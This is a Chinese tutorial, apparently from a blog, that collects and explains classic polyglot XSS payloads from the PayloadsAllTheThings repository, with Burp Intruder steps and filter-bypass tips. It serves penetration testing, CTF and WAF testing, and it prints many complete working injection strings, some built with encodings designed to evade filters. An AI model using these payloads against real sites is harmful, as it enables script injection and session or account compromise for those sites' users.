- 网络安全
- 应用安全
- 渗透测试
【免费下载链接】PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
Polyglot XSS(多语言跨站脚本)是一种经过精心构造、能够在 HTML、JavaScript、属性、URL 等多种解析上下文中同时生效的 XSS 载荷,专门用于对付只针对单一上下文做过滤的 WAF 与输入清洗逻辑。本文以仓库中的 2 - XSS Polyglot.md 为骨架,完整收录 0xsobky、Ashar Javed、Rsnake、s0md3v、brutelogic 等研究者的经典 Polyglot 载荷及其变体,逐行拆解其生效原理,并结合仓库内已整理好的 XSS_Polyglots.txt 字典说明实战用法。读完本文,你将能够理解 Polyglot 的构件逻辑,直接复用这些载荷做渗透测试、CTF 与 WAF 绕过验证。
什么是 Polyglot XSS
A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application's inability to properly sanitize input in different parsing scenarios.
Polyglot XSS 是一类被设计为在多个解析上下文中同时有效的跨站脚本载荷。一个 Web 应用的同一个输入点,可能在以下不同位置被反射或存储:
- HTML 上下文:输入被直接嵌入标签之间,如
<div>{input}</div>; - 属性上下文:输入被嵌入标签属性值中,如
<input value="{input}">; - JavaScript 上下文:输入出现在
<script>代码块、事件处理器或javascript:URL 中; - URL 上下文:输入被拼接到链接、
src/href或跳转逻辑中。
传统单点载荷(如<script>alert(1)</script>)只对 HTML 上下文有效;当应用在不同页面、不同功能点以不同方式输出用户输入时,攻击者往往需要针对每种上下文分别准备载荷。Polyglot 的思路则是把针对所有上下文的"逃生开关"预埋进同一条字符串:无论应用把输入放进哪里,总有一个分支能够闭合上下文、唤醒事件处理器并执行 JavaScript。
正因如此,Polyglot 是 XSS 检测中"一枪打多个靶位"的高效工具——在不知道目标反射点确切上下文的情况下,一条 Polyglot 往往就能给出 XSS 是否存在的明确信号。它与仓库中 XSS Injection/README.md 里按上下文分类的常规载荷(HTML/应用、URI 包装器、文件、postMessage 等)形成互补:常规载荷负责精确定位,Polyglot 负责广谱探测。
经典 Polyglot Payload 全集与逐行拆解
仓库的 2 - XSS Polyglot.md 按研究者收录了多代 Polyglot 载荷,同时 Intruders/XSS_Polyglots.txt 已将这些载荷逐行整理为可直接喂给 Burp Intruder 等工具的字典文件(每行一条载荷,共 16 条)。下面按作者逐一收录并拆解。
0xsobky(Ahmed Elsobky)的"终极 Polyglot"
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e这是 0xsobky 在其《Unleashing an Ultimate XSS Polyglot》研究中发布的经典载荷,可以从结构中拆出以下关键构件:
jaVasCript:——javascript:URL scheme 的大小写混合写法。javascript:scheme 本身大小写不敏感,混合大小写可以规避针对全小写或全大写字符串的简单过滤器;当输入落在href/src/location等可执行 URL 位置时,这一分支直接生效;/*-/*/`/'/*"//** —— 一系列注释与引号闭合符:/* */` 是 JS 块注释,反引号、单引号、双引号分别闭合可能存在的字符串字面量。无论输入被插入到哪种引号包裹的字符串中,总有一个引号能把字符串提前结束,随后进入注释吞掉残余代码;oNcliCk=alert()—— 混合大小写的事件处理器。HTML 属性名大小写不敏感,oNcliCk等价于onclick,规避了针对onclick全小写的黑名单;事件处理器上下文(如<a ... {input}>)下这一分支生效;//</stYle/</titLe/</teXtarEa/</scRipt/--!>—— 依次闭合可能存在的<style>、<title>、<textarea>、<script>等原始文本(raw text)与可转义文本(RCDATA)元素。这些元素内部的内容不被当作 HTML 标签解析,必须先闭合标签才能让后续标签生效;--!>用于闭合可能的注释上下文(<!--);\x3csVg/<sVg/oNloAd=alert()//>\x3e—— 十六进制编码的<svg与>。\x3c在 JavaScript 字符串/注释后的上下文中会被解码为<;随后<svg onload=alert()>以混合大小写方式再次触发onload事件。SVG 元素上的onload事件在svg标签渲染时自动触发,是比<img onerror>更稳定的"无交互"触发点;%0D%0A(CRLF 换行)—— 在 URL 上下文中充当换行,配合前面的//注释,可把 URL 中后续内容全部注释掉(对应javascript://...技巧)。
该载荷的完整形态同样存在于 XSS_Polyglots.txt 第 1 行,可直接复制使用。
Ashar Javed 的上下文叠加 Polyglot
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">Ashar Javed 的载荷思路是在同一字符串里叠放多条独立可用的攻击链,而不是依赖单条链路贯穿所有上下文:
">>—— 闭合可能存在的双引号属性与标签;<marquee><img src=x onerror=confirm(1)></marquee>—— 双保险触发:<marquee>是 HTML5 中允许的过时标签,<img onerror>在图片加载失败时触发;两层都能独立弹窗;</plaintext\></|\>—— 闭合 HTML5 的plaintext原始文本元素(一旦出现<plaintext>,其后所有内容都按纯文本处理,必须先闭合);<plaintext/onmouseover=prompt(1)>—— 反用plaintext:借助标签自闭合语法让onmouseover事件处理器生效;<script>prompt(1)</script>—— 常规<script>分支;@gmail.com—— 伪装成邮箱地址,规避针对"输入包含尖括号即拦截"的简单邮件/URL 过滤器;<isindex formaction=javascript:alert(/XSS/) type=submit>—— 借助已废弃的<isindex>元素 +formaction=javascript:触发表单提交式执行;<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>—— 属性缺省写法 + HTML 实体编码:id="confirm( 1)"中的(是(的 HTML 实体,&%23x29;是#x29(即))的编码,最终eval("confirm( 1)")执行弹窗;'-->" ></script><script>alert(1)</script>—— 闭合 SQL 风格注释'--、HTML 注释-->与</script>,再开新<script>;<img src="http: //i.imgur.com/P8mL8.jpg">—— 以合法图片 URL 收尾,让整体字符串在视觉与语义上"看起来"像普通富文本内容。
这条载荷的价值在于:每一条子链路都自成一体,即便前面的部分被过滤掉,后面的分支仍可能独立触发,非常适合黑盒探测。
Mathias Karlsson 的极简三态 Polyglot
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//这条短载荷同样出现在 XSS_Polyglots.txt 第 3 行,极简但覆盖面广:
" onclick=alert(1)//—— 闭合双引号属性,注入onclick事件,//注释掉行尾残余;<button ' onclick=alert(1)//—— 进入 HTML 标签上下文后,闭合单引号属性再注入事件;> */ alert(1)//—— 若落在 JS 代码块中,*/闭合可能存在的块注释,随后执行alert(1)。
一个载荷同时覆盖"双引号属性、单引号属性、JS 注释内"三种状态,是典型的"一鱼三吃"。
Rsnake 的String.fromCharCode编码 Polyglot
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>Rsnake(Robert "RSnake" Hansen)的经典载荷围绕String.fromCharCode(88,83,83)构建:
';alert(...)//与";alert(...)//—— 依次覆盖单引号字符串上下文与双引号字符串上下文:先闭合引号,执行alert,再用//注释掉行尾;-- ></SCRIPT>—— 闭合 HTML 注释与可能的<script>标签;">'><SCRIPT>alert(...)</SCRIPT>—— 同时闭合属性双引号、标签,重新打开<SCRIPT>(全大写,规避小写敏感过滤)。
关键在于88,83,83是XSS的 ASCII 码:String.fromCharCode(88,83,83)等于字符串"XSS"。由于alert与fromCharCode这些单词在源码中以普通字符出现,而敏感的XSS字样被隐藏在数字参数中,可以绕过针对关键字alert('XSS')或XSS字符串的签名过滤。类似的编码手法在仓库 1 - XSS Filter Bypass.md 的 "Bypass Word Blacklist with Code Evaluation" 等章节中有系统化展开,可对照阅读。
Daniel Miessler 的注释流变体系列
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*Daniel Miessler 在 Rsnake 载荷基础上整理出一整族"注释流"变体。它们的共同骨架是:
{javascript: 前缀或引号闭合} // {注释流} {闭合标签流} {事件处理器} //> */ alert()/*核心机制拆解:
javascript://—— 以javascript:scheme 开路,//启动行注释。若输入落在可执行 URL(href、location、window.open等)中,javascript:分支直接生效;若落在 JS 代码中,//注释吞掉后续杂散内容;</title></style></textarea></script>—— 按固定顺序闭合title、style、textarea、script这些会把后续内容当纯文本/代码处理的关键元素。变体之间仅调整闭合标签的顺序与书写形式(</script>、</script -->、</textarea/-->、/</style/等),目的是对抗"只拦截某种特定闭合写法"的过滤器;<p" onclick=alert()//>*/alert()/*—— 注入<p>标签的事件处理器:"提前闭合属性,onclick=alert()绑定事件,//>*/负责在 JS 上下文中闭合行注释与块注释,alert()/*执行弹窗并用/*开启注释吞掉行尾残留;*/alert()/*收尾—— 与开头的//或引号配合,无论前面是行注释还是块注释,总有一个*/能把注释"焊死"、让alert()落回可执行状态。
这类"注释配对"手法在仓库 1 - XSS Filter Bypass.md 的 "Bypass using an Alternate Way to Execute an Alert" 与 "Bypass ';' using Another Character" 等小节中也有对应的单点技巧,可以互为印证。
s0md3v 的 Unicode 转义极简 Polyglot
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``><svg%0Ao%00nload=%09((pro\u006dpt))()//s0md3v 在 2018 年发布的两条载荷以极短长度 + Unicode 转义见长:
-->'"/></sCript>—— 依次闭合 HTML 注释-->、单引号、双引号、标签与<script>;<svG x=">" onload=(co\u006efirm)``>—— 混合大小写<svG>,利用x=">"属性提前关闭 svg 的>,使onload属性实际成为可执行事件;co\u006efirm中\u006e是n的 Unicode 转义,\u006efirm解码为confirm,规避针对confirm关键字的小写黑名单;末尾(反引号对)把参数变成模板字符串调用语法 `confirm\`\,从而完全不用括号——这是经典的"括号过滤绕过"手法,仓库 1 - XSS Filter Bypass.md 的 "Bypass Parenthesis for String" 一节有同类技巧;<svg%0Ao%00nload=%09((pro\u006dpt))()//—— 属性名内部塞入%0A(换行)与%00(空字节),属性值前用%09(制表符),这些控制字符在部分解析器/过滤器中被忽略,从而把onload拆成o、nload分段绕过关键字匹配;(pro\u006dpt)()用双括号包裹再调用,同样规避括号过滤,\u006d解码为m。
这两条载荷把"编码转义"+"控制字符注入"+"无括号调用"压缩到极短形式,非常适合 URL 长度受限的场景。
@filedescriptor 的 Polyglot Challenge 系列
@filedescriptor 曾发起 XSS Polyglot Challenge(polyglot.innerht.ml),要求参赛者构造能在尽可能多上下文生效的载荷。仓库收录了其中四位作者的提交:
// Author: crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> // Author: europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> // Author: EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> // Author: h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`这四条载荷的结构高度相似,属于同一代 Polyglot 的"竞技优化"版本,值得对比学习:
javascript:—— 统一以 URL scheme 开头;- **引号与注释序列
"/*'/*/" /** —— 覆盖双引号、单引号、反引号三种字符串上下文,每种都紧跟/*块注释或//` 行注释; - 闭合标签清单—— 四条载荷都在
<noscript></title></textarea></style></template></noembed></script>这个集合中选取子集并打乱顺序,覆盖了 HTML5 中全部**原始文本类(script/style/noscript/noembed)与可转义文本类(title/textarea/template)**元素,以及</script/-->、</script/--!>这类"闭合符 + 注释符合并"的写法差异; <svg/onload=—— 用 HTML 实体<编码<,规避"尖括号黑名单";svg/onload借自闭合标签语法触发onload;/*<html/*/onmouseover=alert()//>—— 把<html onmouseover>包进 JS 注释对/* ... */中间:在 JS 上下文里它是注释(无害),一旦进入 HTML 解析,注释标记失效、<html onmouseover=alert()>作为真实标签生效。这种"注释内藏 HTML"正是 Polyglot 的精髓——同一段字符在不同解析器眼中是完全不同的东西。
brutelogic 的现代运算符 Polyglot
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->brutelogic(2021 年《Building XSS Polyglots》一文)给出的这条载荷融合了多个现代语法特性:
JavaScript://%250A——javascript:scheme +//注释 +%250A(URL 双重编码的换行,解码后为%0A),在 URL 上下文中制造换行,使后续内容脱离注释;alert?.(1)——可选链调用(optional chaining):alert?.(1)等价于alert(1),但?.写法让"函数+括号"的模式不再连续出现,规避对alert(的签名过滤;- **引号与注释序列
'/*\'/*"/*\"/*/`/%26apos;)/** —— 覆盖单双引号、反引号与'的 HTML 实体%26apos;,每个都接/` 注释; </Title/</Style/</Script/</textArea/</iFrame/</noScript>—— 用自闭合风格(</Title/而非</Title>)闭合 title/style/script/textarea/iframe/noscript 等元素,这种写法在部分过滤器中不被识别为"闭合标签",却能正常闭合元素;\74k<K——\74是<的八进制编码;\74k<组合出一个<k前缀,既覆盖八进制编码又覆盖明文;<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//>—— 混合大小写<K>标签上挂载contentEditable+autoFocus+OnFocus:元素获得焦点即触发事件,无需用户点击;事件值里塞入${/*/;{/**/...这种"模板字符串 + 块注释"混淆结构,(alert)(1)用括号包裹函数名调用;<Base/Href=//X55.is\76-->—— 自闭合<base href>可劫持页面内相对 URL 解析;\76是>的八进制编码,-->闭合注释。
这条载荷被收录在 XSS_Polyglots.txt 第 16 行,可作为"现代浏览器 + 现代过滤规则"下的首选探测载荷。
Polyglot 的通用构建构件
对比以上全部载荷,可以归纳出 Polyglot 反复使用的六类构件(这些构件在 XSS_Polyglots.txt 的 16 条载荷中反复出现):
| 构件类别 | 典型写法 | 作用 |
|---|---|---|
| URL scheme 开路 | javascript:、JavaScript:// | 覆盖 URL 上下文,直接执行 JS |
| 引号闭合 | '、"、`及其实体/转义形式 | 提前结束字符串字面量,逃出引号包裹 |
| 注释配对 | //、/*、*/、--!>、--> | 在 JS 上下文吞掉杂散代码,或隐藏恶意片段 |
| 元素闭合流 | </script>、</title>、</style>、</textarea>、</noscript>、</noembed>、</template>、</plaintext> | 关闭会把后续内容当纯文本/代码解析的关键元素 |
| 事件触发器 | onclick、onload、onerror、onmouseover、onfocus | 在 HTML/属性上下文触发 JS 执行 |
| 编码/混淆 | \x3c、\74、\u006e、<、%0A、大小写混合、String.fromCharCode、可选链?. | 规避关键字、尖括号、引号、括号等过滤 |
从源码结构可以推断,仓库把这些构件按"作者/流派"分组整理进字典文件,正是为了让测试者逐条验证目标过滤器的缺口:每一条载荷失效,都意味着某一类构件被拦截,从而反推目标的过滤规则。
实战使用:字典、流程与搭配
直接使用仓库字典
XSS_Polyglots.txt 是现成的 Burp Intruder 字典(每行一条,共 16 条),可直接导入 Intruder 的 Payload position 进行批量探测。使用方法:
- 用 Burp 拦截目标请求,在参数值处标记 Payload position;
- 将
XSS_Polyglots.txt导入 Payload list(Payloads → Load); - 对返回内容做观察:若某条 Polyglot 在响应中被原样反射且没有被转义/截断,即说明该输入点可能缺乏上下文感知的清洗;
- 结合仓库 XSS Injection/README.md 中 "Identify an XSS Endpoint" 一节的建议,将
alert类验证替换为alert(document.domain.concat("\n").concat(window.origin))或console.log(...),确认执行范围并避免弹窗阻塞测试。
与 Filter Bypass 技巧联动
Polyglot 本身是"广谱探测"层,命中后再用 1 - XSS Filter Bypass.md 中的单点技巧做精细化推进,形成完整闭环:
- 若 Polyglot 因大小写过滤失效,可参考 "Bypass Case Sensitive" 的
<sCrIpt>混合大小写写法; - 若
alert/confirm关键字被拦截,可改用String.fromCharCode编码(Rsnake 载荷已示范)或 "Bypass Word Blacklist with Code Evaluation" 中的eval手法; - 若括号被过滤,可采用 s0md3v 载荷的
(co\u006efirm)\`` 无括号调用,或参考 "Bypass Parenthesis for String"; - 若
<>被过滤,可尝试<实体、\x3c十六进制、\74八进制与 Katakana/Unicode 变体(filedescriptor 与 brutelogic 载荷已内嵌这些编码)。
局限与注意事项
- Polyglot 追求"面面俱到",代价是载荷体积大,在 URL 长度受限、参数值有截断的应用中可能被截断而整体失效;
- Polyglot 不等于"一定能执行":它只保证"尽可能多的上下文覆盖"。若目标对输入做了上下文感知的输出编码(如把
<转义为<、把引号转义为"),任何 Polyglot 都可能在编码层被中和——此时应回到 XSS Injection/README.md 按上下文逐类测试常规载荷; - 部分现代浏览器对
javascript:scheme 在href中的直接执行有限制,base href劫持等副作用手段需在测试环境确认行为后再用于真实目标。
仓库相关资源
- 2 - XSS Polyglot.md:本文的源文档,按作者收录全部经典 Polyglot 载荷;
- Intruders/XSS_Polyglots.txt:整理好的 16 条 Polyglot 字典,可直接用于 Burp Intruder 等 fuzz 工具;
- 1 - XSS Filter Bypass.md:与 Polyglot 互补的单点过滤绕过技巧(大小写、标签黑名单、引号、括号、编码等),Polyglot 中的许多构件在这里有独立章节详解;
- XSS Injection/README.md:XSS 方法论总纲,涵盖反射型/存储型/DOM 型三类、PoC 数据窃取、Blind XSS、Mutation XSS 等完整知识体系;
- 配套的 Intruders 目录还提供了
XSS_Polyglots.txt之外的xss_alert.txt、XSSDetection.txt、BRUTELOGIC-XSS-JS.txt等专用字典,可结合使用。
参考
- Building XSS Polyglots— brutelogic,2021 年 6 月(载荷收录于本仓库 XSS_Polyglots.txt 末行);
- XSS Polyglot Challenge v2— @filedescriptor,2015 年 8 月(本仓库收录 crlf、europa、EdOverflow、h1/ragnar 四位作者的提交);
- Unleashing an Ultimate XSS Polyglot— Ahmed Elsobky(0xsobky),其载荷在 XSS Injection/README.md 的 References 中亦有收录;
- s0md3v 于 2018 年发布的两条 Unicode 转义 Polyglot,已完整收录于本文与字典文件。
- 网络安全
- 应用安全
- 渗透测试
【免费下载链接】PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
相关推荐
PayloadsAllTheThings 之 LaTeX 注入实战指南:文件读写、命令执行与 XSS Payload 全解析
PayloadsAllTheThings 之 LaTeX 注入实战指南:文件读写、命令执行与 XSS Payload 全解析 导读:LaTeX 注入(LaTeX
网络安全应用安全渗透测试openai-agents-python 上下文管理实战:本地上下文(RunContextWrapper/ToolContext)与 LLM 上下文注入全解析
openai agents python 上下文管理实战:本地上下文(RunContextWrapper/ToolContext)与 LLM 上下文注入全解析
人工智能AI AgentAgent 框架多智能体工具调用MCP Clientspi 上下文注入模式全解:基于 Hook 系统的 Context 注入、过滤与状态管理实战指南
pi 上下文注入模式全解:基于 Hook 系统的 Context 注入、过滤与状态管理实战指南 导读 本文聚焦 pi(gsd 2 项目中的 meta promp
人工智能AI Agent代码智能体Agent 编排CLIAI 应用
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考